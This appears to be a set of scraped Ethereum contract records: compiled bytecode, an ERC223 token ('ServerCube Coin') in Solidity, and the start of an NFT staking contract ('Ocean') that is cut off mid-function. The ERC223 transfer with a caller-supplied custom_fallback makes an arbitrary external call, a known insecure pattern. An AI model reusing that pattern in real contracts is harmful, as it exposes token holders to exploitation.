160e01b600052603260045260246000fd5b90506020020160208101906104a19190611411565b905060008585848181106104c557634e487b7160e01b600052603260045260246000fd5b9050602002013590506104da828a8387610c2b565b5050806104e690611fe1565b9050610462565b50505050505050565b606081518351146105195760405162461bcd60e51b815260040161028f90611dce565b6000835167ffffffffffffffff81111561054357634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561056c578160200160208202803683370190505b50905060005b845181101561060e576105d385828151811061059e57634e487b7160e01b600052603260045260246000fd5b60200260200101518583815181106105c657634e487b7160e01b600052603260045260246000fd5b6020026020010151610267565b8282815181106105f357634e487b7160e01b600052603260045260246000fd5b602090810291909101015261060781611fe1565b9050610572565b509392505050565b61061e61091f565b6001600160a01b031661062f6106f3565b6001600160a01b0316146106555760405162461bcd60e51b815260040161028f90611d50565b61065f6000610d1a565b565b60606004805461067090611fa6565b80601f016020809104026020016040519081016040528092919081815260200182805461069c90611fa6565b80156106e95780601f106106be576101008083540402835291602001916106e9565b820191906000526020600020905b8154815290600101906020018083116106cc57829003601f168201915b5050505050905090565b6003546001600160a01b031690565b60408051808201909152600381526226aca760e91b602082015290565b816001600160a01b031661073161091f565b6001600160a01b031614156107585760405162461bcd60e51b815260040161028f90611d85565b806001600061076561091f565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556107a961091f565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516107e19190611a1f565b60405180910390a35050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b60006108278685610267565b90508281108015610850575061083b6106f3565b6001600160a01b0316866001600160a01b0316145b1561086a5761086a86856108648487611f48565b85610c2b565b6108778686868686610d6c565b505050505050565b61088761091f565b6001600160a01b03166108986106f3565b6001600160a01b0316146108be5760405162461bcd60e51b815260040161028f90611d50565b6001600160a01b0381166108e45760405162461bcd60e51b815260040161028f90611b59565b6108ed81610d1a565b50565b6108fb838383610dc3565b505050565b3b151590565b6001600160e01b031981166301ffc9a760e01b14919050565b3390565b60606000610932836002611f29565b61093d906002611f11565b67ffffffffffffffff81111561096357634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561098d576020820181803683370190505b509050600061099d846002611f29565b6109a8906001611f11565b90505b6001811115610a3c576f181899199a1a9b1b9c1cb0b131b232b360811b85600f16601081106109ea57634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110610a0e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93610a3581611f8f565b90506109ab565b508315610a5b5760405162461bcd60e51b815260040161028f90611a91565b9392505050565b8151835114610a835760405162461bcd60e51b815260040161028f90611e17565b6001600160a01b038416610aa95760405162461bcd60e51b815260040161028f90611c2c565b6000610ab361091f565b9050610ac3818787878787610877565b60005b8451811015610bc5576000858281518110610af157634e487b7160e01b600052603260045260246000fd5b602002602001015190506000858381518110610b1d57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015610b6d5760405162461bcd60e51b815260040161028f90611d06565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290610baa908490611f11565b9250508190555050505080610bbe90611fe1565b9050610ac6565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610c159291906119fa565b60405180910390a4610877818787878787610ed2565b6001600160a01b038416610c515760405162461bcd60e51b815260040161028f90611e5f565b6000610c5b61091f565b9050610c7c81600087610c6d88610fe0565b610c7688610fe0565b87610877565b6000848152602081815260408083206001600160a01b038916845290915281208054859290610cac908490611f11565b92505081905550846001600160a01b031660006001600160a01b0316826001600160a01b03167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051610d03929190611ea9565b60405180910390a461040d81600087878787611039565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610d7461091f565b6001600160a01b0316856001600160a01b03161480610d9a5750610d9a8561022961091f565b610db65760405162461bcd60e51b815260040161028f90611be3565b61040d858585858561110a565b6001600160a01b038316610de95760405162461bcd60e51b815260040161028f90611cc3565b6000610df361091f565b9050610e2381856000610e0587610fe0565b610e0e87610fe0565b60405180602001604052806000815250610877565b6000838152602081815260408083206001600160a01b038816845290915290205482811015610e645760405162461bcd60e51b815260040161028f90611b9f565b6000848152602081815260408083206001600160a01b03808a16808652919093528184208786039055905190918516907fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6290610ec39089908990611ea9565b60405180910390a45050505050565b610ee4846001600160a01b0316610900565b156108775760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190610f1d9089908990889088908890600401611944565b602060405180830381600087803b158015610f3757600080fd5b505af1925050508015610f67575060408051601f3d908101601f19168201909252610f64918101906116d5565b60015b610fb057610f7361202e565b80610f7e5750610f98565b8060405162461bcd60e51b815260040161028f9190611a2a565b60405162461bcd60e51b815260040161028f90611a3d565b6001600160e01b0319811663bc197c8160e01b146104ed5760405162461bcd60e51b815260040161028f90611ac6565b6040805160018082528183019092526060916000919060208083019080368337019050509050828160008151811061102857634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b61104b846001600160a01b0316610900565b156108775760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e619061108490899089908890889088906004016119a2565b602060405180830381600087803b15801561109e57600080fd5b505af19250505080156110ce575060408051601f3d908101601f191682019092526110cb918101906116d5565b60015b6110da57610f7361202e565b6001600160e01b0319811663f23a6e6160e01b146104ed5760405162461bcd60e51b815260040161028f90611ac6565b6001600160a01b0384166111305760405162461bcd60e51b815260040161028f90611c2c565b600061113a61091f565b905061114b818787610c6d88610fe0565b6000848152602081815260408083206001600160a01b038a1684529091529020548381101561118c5760405162461bcd60e51b815260040161028f90611d06565b6000858152602081815260408083206001600160a01b038b81168552925280832087850390559088168252812080548692906111c9908490611f11565b92505081905550856001600160a01b0316876001600160a01b0316836001600160a01b03167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161121f929190611ea9565b60405180910390a46104ed828888888888611039565b82805461124190611fa6565b90600052602060002090601f01602090048101928261126357600085556112a9565b82601f1061127c57805160ff19168380011785556112a9565b828001600101855582156112a9579182015b828111156112a957825182559160200191906001019061128e565b506112b59291506112b9565b5090565b5b808211156112b557600081556001016112ba565b600067ffffffffffffffff8311156112e8576112e8612012565b6112fb601f8401601f1916602001611eb7565b905082815283838301111561130f57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461030157600080fd5b60008083601f84011261134e578182fd5b50813567ffffffffffffffff811115611365578182fd5b602083019150836020808302850101111561137f57600080fd5b9250929050565b600082601f830112611396578081fd5b813560206113ab6113a683611ee1565b611eb7565b82815281810190858301838502870184018810156113c7578586fd5b855b858110156113e5578135845292840192908401906001016113c9565b5090979650505050505050565b600082601f830112611402578081fd5b610a5b838335602085016112ce565b600060208284031215611422578081fd5b610a5b82611326565b6000806040838503121561143d578081fd5b61144683611326565b915061145460208401611326565b90509250929050565b600080600080600060a08688031215611474578081fd5b61147d86611326565b945061148b60208701611326565b9350604086013567ffffffffffffffff808211156114a7578283fd5b6114b389838a01611386565b945060608801359150808211156114c8578283fd5b6114d489838a01611386565b935060808801359150808211156114e9578283fd5b506114f6888289016113f2565b9150509295509295909350565b600080600080600060a0868803121561151a578081fd5b61152386611326565b945061153160208701611326565b93506040860135925060608601359150608086013567ffffffffffffffff81111561155a578182fd5b6114f6888289016113f2565b60008060408385031215611578578182fd5b61158183611326565b915060208301358015158114611595578182fd5b809150509250929050565b600080604083850312156115b2578182fd5b6115bb83611326565b946020939093013593505050565b6000806000606084860312156115dd578283fd5b6115e684611326565b95602085013595506040909401359392505050565b6000806040838503121561160d578182fd5b823567ffffffffffffffff80821115611624578384fd5b818501915085601f830112611637578384fd5b813560206116476113a683611ee1565b82815281810190858301838502870184018b1015611663578889fd5b8896505b8487101561168c5761167881611326565b835260019690960195918301918301611667565b50965050860135925050808211156116a2578283fd5b506116af85828601611386565b9150509250929050565b6000602082840312156116ca578081fd5b8135610a5b816120d3565b6000602082840312156116e6578081fd5b8151610a5b816120d3565b600060208284031215611702578081fd5b813567ffffffffffffffff811115611718578182fd5b8201601f81018413611728578182fd5b611737848235602084016112ce565b949350505050565b600060208284031215611750578081fd5b5035919050565b6000806000806000806080878903121561176f578384fd5b86359550602087013567ffffffffffffffff8082111561178d578586fd5b6117998a838b0161133d565b909750955060408901359150808211156117b1578283fd5b6117bd8a838b0161133d565b909550935060608901359150808211156117d5578283fd5b506117e289828a016113f2565b9150509295509295509295565b6000815180845260208085019450808401835b8381101561181e57815187529582019590820190600101611802565b509495945050505050565b60008151808452611841816020860160208601611f5f565b601f01601f19169290920160200192915050565b60008151611867818560208601611f5f565b9290920192915050565b64173539b7b760d91b815260050190565b825460009081906002810460018083168061189e57607f831692505b60208084108214156118be57634e487b7160e01b87526022600452602487fd5b8180156118d257600181146118e35761190f565b60ff1986168952848901965061190f565b6118ec8b611f05565b885b868110156119075781548b8201529085019083016118ee565b505084890196505b5050505050506119276119228286611855565b611871565b95945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0386811682528516602082015260a060408201819052600090611970908301866117ef565b828103606084015261198281866117ef565b905082810360808401526119968185611829565b98975050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a0608082018190526000906119dc90830184611829565b979650505050505050565b600060208252610a5b60208301846117ef565b600060408252611a0d60408301856117ef565b828103602084015261192781856117ef565b901515815260200190565b600060208252610a5b6020830184611829565b60208082526034908201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356040820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b606082015260800190565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6020808252602b908201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60408201526a65726f206164647265737360a81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526024908201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604082015263616e636560e01b606082015260800190565b60208082526029908201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201526808185c1c1c9bdd995960ba1b606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526032908201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206040820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606082015260800190565b60208082526023908201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604082015268103337b91039b2b63360b91b606082015260800190565b60208082526029908201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604082015268040dad2e6dac2e8c6d60bb1b606082015260800190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b90815260200190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715611ed957611ed9612012565b604052919050565b600067ffffffffffffffff821115611efb57611efb612012565b5060209081020190565b60009081526020902090565b60008219821115611f2457611f24611ffc565b500190565b6000816000190483118215151615611f4357611f43611ffc565b500290565b600082821015611f5a57611f5a611ffc565b500390565b60005b83811015611f7a578181015183820152602001611f62565b83811115611f89576000848401525b50505050565b600081611f9e57611f9e611ffc565b506000190190565b600281046001821680611fba57607f821691505b60208210811415611fdb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611ff557611ff5611ffc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60e01c90565b600060443d101561203e5761037d565b600481823e6308c379a06120528251612028565b1461205c5761037d565b6040513d600319016004823e80513d67ffffffffffffffff816024840111818411171561208c575050505061037d565b828401925082519150808211156120a6575050505061037d565b503d830160208284010111156120be5750505061037d565b601f01601f1916810160200160405291505090565b6001600160e01b0319811681146108ed57600080fdfea2646970667358221220a9044b28d2fa4a9bcddb9d79c2c3157cc0b87ef5bd262fe7724a3bc222bc797964736f6c63430008000033
[ 5, 7, 12 ]
0xf3aa1d9f7fddbc4aa9bcdcac5afa798867347339
pragma solidity ^0.4.13; contract ERC223 { mapping(address => uint) balances; uint public totalSupply; function balanceOf(address who) public view returns (uint); function ERC223() { balances[0x1b6c2e31744dce7577109e05E7C54f6F96191804] = totalSupply; } function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } contract ERC223Token is ERC223, SafeMath { mapping(address => uint) balances; string public name = "ServerCube Coin"; string public symbol = "SCC"; uint8 public decimals = 0; uint256 public totalSupply = 80000000; function ERC223Token() { balances[0xC193DbDeD670C425301FCB0dA5BAaBdeC8A1819d] = totalSupply; } // Function to access name of token . function name() public view returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166306fdde03811461008457806318160ddd1461010e578063313ce5671461013357806333a581d21461015c57806370a082311461016f57806395d89b411461018e578063a9059cbb146101a1578063be45fd62146101d7578063f6368f8a1461023c575b600080fd5b341561008f57600080fd5b6100976102e3565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100d35780820151838201526020016100bb565b50505050905090810190601f1680156101005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561011957600080fd5b61012161038b565b60405190815260200160405180910390f35b341561013e57600080fd5b610146610391565b60405160ff909116815260200160405180910390f35b341561016757600080fd5b61012161039a565b341561017a57600080fd5b610121600160a060020a03600435166103a0565b341561019957600080fd5b6100976103bb565b34156101ac57600080fd5b6101c3600160a060020a036004351660243561042e565b604051901515815260200160405180910390f35b34156101e257600080fd5b6101c360048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061046a95505050505050565b341561024757600080fd5b6101c360048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061049e95505050505050565b6102eb610a35565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103815780601f1061035657610100808354040283529160200191610381565b820191906000526020600020905b81548152906001019060200180831161036457829003601f168201915b5050505050905090565b60065490565b60055460ff1690565b60001981565b600160a060020a031660009081526002602052604090205490565b6103c3610a35565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103815780601f1061035657610100808354040283529160200191610381565b6000610438610a35565b610441846106f1565b15610458576104518484836106f9565b9150610463565b6104518484836108ea565b5092915050565b6000610475846106f1565b1561048c576104858484846106f9565b9050610497565b6104858484846108ea565b9392505050565b60006104a9856106f1565b156106db57836104b8336103a0565b10156104c357600080fd5b6104d56104cf336103a0565b85610a08565b600160a060020a0333166000908152600260205260409020556105006104fa866103a0565b85610a1d565b600160a060020a0386166000818152600260205260408082209390935590918490518082805190602001908083835b6020831061054e5780518252601f19909201916020918201910161052f565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156105df5780820151838201526020016105c7565b50505050905090810190601f16801561060c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561063057fe5b826040518082805190602001908083835b602083106106605780518252601f199092019160209182019101610641565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a45060016106e9565b6106e68585856108ea565b90505b949350505050565b6000903b1190565b60008083610706336103a0565b101561071157600080fd5b61071d6104cf336103a0565b600160a060020a0333166000908152600260205260409020556107426104fa866103a0565b600160a060020a03861660008181526002602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156107db5780820151838201526020016107c3565b50505050905090810190601f1680156108085780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561082857600080fd5b6102c65a03f1151561083957600080fd5b505050826040518082805190602001908083835b6020831061086c5780518252601f19909201916020918201910161084d565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a4506001949350505050565b6000826108f6336103a0565b101561090157600080fd5b61091361090d336103a0565b84610a08565b600160a060020a03331660009081526002602052604090205561093e610938856103a0565b84610a1d565b600160a060020a03851660009081526002602052604090819020919091558290518082805190602001908083835b6020831061098b5780518252601f19909201916020918201910161096c565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a45060019392505050565b600081831015610a1757600080fd5b50900390565b60008160001903831115610a3057600080fd5b500190565b602060405190810160405260008152905600a165627a7a723058208f4946f0370e935f7faa6393af661908f5db440e07ac9dc872c4b3331005589d0029
[ 1, 20, 12 ]
0xf3aab6a3d1bd3b42a360803de5a0919b62ad6919
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; pragma solidity ^0.8.0; interface IWhales { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; function balanceOf(address account) external view returns (uint256); } interface IBlues { function safeTransferFrom( address from, address to, uint256 tokenId ) external; function getOwnerLedger(address addr) external view returns (uint16[] memory); } contract Ocean is IERC721ReceiverUpgradeable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { event TokenStaked(address owner, uint128 tokenId); event WhalesMinted(address owner, uint256 amount); event TokenUnStaked(address owner, uint128 tokenId); // base reward rate uint256 DAILY_WHALES_BASE_RATE; ////////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_1; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_2; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_3; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_4; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_5; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_LEGENDRY; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_1; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_2; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_3; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_4; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_LEGENDRY_TIER; /////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// uint128 public totalBluesStaked; ///////////////////////////////////////////////////// IERC721 Blues; /////////////////////////////////////////////////////////////////////// IWhales Whales; ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// mapping(address => uint256) public totalWhalesEarnedPerAddress; ////////////////////// mapping(address => uint256) public lastInteractionTimeStamp; ///////////////////////// mapping(address => uint256) public userMultiplier; /////////////////////////////////// mapping(address => uint16) public totalBluesStakedPerAddress; //////////////////////// mapping(address => bool) public userFirstInteracted; ///////////////////////////////// mapping(uint256 => bool) public initialMintClaimLedger; ////////////////////////////// mapping(address => uint8) public legendryHoldingsPerUser; //////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// address[5600] public ocean; ////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// IBlues Blues_V2; ///////////////////////////////////////////////////////////////////// mapping(address => uint256) public userHoldingsMultiplier; /////////////////////////// mapping(address => uint256) public passiveYeildTimeStamp; //////////////////////////// mapping(address => bool) public userTimestampInit; /////////////////////////////////// mapping(address => uint256) public totalWhalesPassivelyEarned; /////////////////////// mapping(address => uint256) public legendariesUnstaked; ////////////////////////////// bool stakingPaused; ////////////////////////////////////////////////////////////////// uint256 seedTimestamp; /////////////////////////////////////////////////////////////// function initialize(address _whales, address _blues) external initializer { __Ownable_init(); __Pausable_init(); __ReentrancyGuard_init(); Blues = IERC721(_blues); Whales = IWhales(_whales); DAILY_WHALES_BASE_RATE = 10 ether; DAILY_WHALES_RATE_TIER_1 = 11 ether; DAILY_WHALES_RATE_TIER_2 = 12 ether; DAILY_WHALES_RATE_TIER_3 = 13 ether; DAILY_WHALES_RATE_TIER_4 = 14 ether; DAILY_WHALES_RATE_TIER_5 = 15 ether; DAILY_WHALES_RATE_LEGENDRY = 50 ether; INITIAL_MINT_REWARD_LEGENDRY_TIER = 100 ether; INITIAL_MINT_REWARD_TIER_1 = 50 ether; INITIAL_MINT_REWARD_TIER_2 = 20 ether; INITIAL_MINT_REWARD_TIER_3 = 10 ether; } /* entry point and main staking function. * takes an array of tokenIDs, and checks if the caller is * the owner of each token. * It then transfers the token to the Ocean contract. * At the end, it sets the userFirstInteracted mapping to true. * This is to prevent rewards calculation BEFORE having anything staked. * Otherwise, it leads to massive rewards. * The lastInteractionTimeStamp mapping is also updated. */ function addManyBluesToOcean(uint16[] calldata tokenIds) external nonReentrant whenNotPaused updateRewardsForUser { require(!stakingPaused, "staking is now paused"); userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; require(tokenIds.length >= 1, "need at least 1 blue"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], true); totalBluesStakedPerAddress[msg.sender]++; _addBlueToOcean(msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); // only runs one time, the first time the user calls this function. if (userFirstInteracted[msg.sender] == false) { lastInteractionTimeStamp[msg.sender] = block.timestamp; userFirstInteracted[msg.sender] = true; } } // internal utility function that transfers the token and emits an event. function _addBlueToOcean(address account, uint16 tokenId) internal whenNotPaused { ocean[tokenId] = account; Blues.safeTransferFrom(msg.sender, address(this), tokenId); emit TokenStaked(msg.sender, tokenId); } /* This function recalculate the user's holders multiplier * whenever they stake or unstake. * There are a total of 5 yeild tiers..depending on the number of tokens staked. */ function _adjustUserDailyWhalesMultiplier(uint256 stakedBlues) internal { if (stakedBlues < 5) userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; else { if (stakedBlues >= 5 && stakedBlues <= 9) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_1; else if (stakedBlues >= 10 && stakedBlues <= 19) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_2; else if (stakedBlues >= 20 && stakedBlues <= 39) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_3; else if (stakedBlues >= 40 && stakedBlues <= 79) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_4; else userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_5; } } function _adjustUserLegendryWhalesMultiplier(uint256 tokenId, bool staking) internal { if (staking) { if (isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]++; } else { if (isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]--; } } /* claims the rewards owed till now and updates the lastInteractionTimeStamp mapping. * also emits an event, etc.. * finally, it sets the totalWhalesEarnedPerAddress to 0. */ function claimWhalesWithoutUnstaking() external nonReentrant whenNotPaused updateRewardsForUser updatePassiveRewardsForUser { uint256 rewards = totalWhalesEarnedPerAddress[msg.sender] + totalWhalesPassivelyEarned[msg.sender]; Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); totalWhalesEarnedPerAddress[msg.sender] = 0; totalWhalesPassivelyEarned[msg.sender] = 0; } /* same as the previous function, except this one unstakes as well. * it verfied the owner in the Stake struct to be the msg.sender * it also verifies the the current owner is this contract. * it then decrease the total number staked for the user * and then calls safeTransferFrom. * it then mints the tokens. * finally, it calls _adjustUserDailyWhalesMultiplier */ function claimWhalesAndUnstake(uint16[] calldata tokenIds) public nonReentrant whenNotPaused updateRewardsForUser { require(userFirstInteracted[msg.sender], "Stake some blues first"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == address(this), "This Blue is not staked" ); require( ocean[tokenIds[i]] == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], false); delete ocean[tokenIds[i]]; totalBluesStakedPerAddress[msg.sender]--; Blues.safeTransferFrom(address(this), msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); Whales.mint(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); totalWhalesEarnedPerAddress[msg.sender] = 